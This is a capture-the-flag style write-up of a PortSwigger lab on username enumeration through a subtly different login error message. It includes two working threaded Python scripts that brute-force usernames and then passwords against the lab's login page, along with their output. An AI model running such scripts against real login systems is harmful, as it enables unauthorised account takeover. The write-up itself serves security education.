Username enumeration via subtly different responses | Dec 21, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Username enumeration via subtly different responses! Without further ado, let’s dive in.

Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆

Background

This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:

To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.

Exploitation

Home page:

Login page:

Let’s try to input an invalid username:

When we typed an incorrect username, it’ll output Invalid username or password..

Hmm… Let’s try to brute force the username via a python script and see what will happened:

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep

def fetchUsername(filename):
    listUsername = list()

    with open(filename) as fd:
        for line in fd:
            listUsername.append(line.strip())

    return listUsername

def sendRequest(url, cookie, username):
    loginData = {
        'username': username,
        'password': 'anything'
    }

    loginRequestText = requests.post(url, cookies=cookie, data=loginData).text

    if 'Invalid username or password.' not in loginRequestText:
        print(f'[+] Found user: {username}')

def main():
    url = 'https://0aae00600417467ec6e20053003100c7.web-security-academy.net/login'
    cookie = {'session': 'YSJFWoT0ornpyiDE6rqu7iTuGCDPU5lV'}

    userFileName = './auth_username.txt'
    listUsername = fetchUsername(userFileName)
    
    for username in listUsername:
        thread = Thread(target=sendRequest, args=(url, cookie, username))
        thread.start()
        sleep(0.2)

if __name__ == '__main__':
    main()

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# python3 enum_username.py 
[+] Found user: info

Hmm… We found user info? Let’s confirm that:

Did you notice the differences between a valid username and an invalid username error output?

Invalid username or password.
Invalid username or password

A valid username is missing the .!

Armed with above information, let’s brute force the password via a python script:

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep

def fetchPassword(filename):
    listPassword = list()

    with open(filename) as fd:
        for line in fd:
            listPassword.append(line.strip())

    return listPassword

def sendRequest(url, cookie, password):
    loginData = {
        'username': 'info',
        'password': password
    }

    loginRequestText = requests.post(url, cookies=cookie, data=loginData).text

    if 'Invalid username or password' not in loginRequestText:
        print(f'[+] Found password: {password}')

def main():
    url = 'https://0aae00600417467ec6e20053003100c7.web-security-academy.net/login'
    cookie = {'session': 'YSJFWoT0ornpyiDE6rqu7iTuGCDPU5lV'}

    passwordFileName = './auth_password.txt'
    listPassword = fetchPassword(passwordFileName)
    
    for password in listPassword:
        thread = Thread(target=sendRequest, args=(url, cookie, password))
        thread.start()
        sleep(0.2)

if __name__ == '__main__':
    main()

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# python3 enum_password.py 
[+] Found password: 159753

Found it!

Let’s login as user info!

We’re user info!

What we’ve learned:

Username enumeration via subtly different responses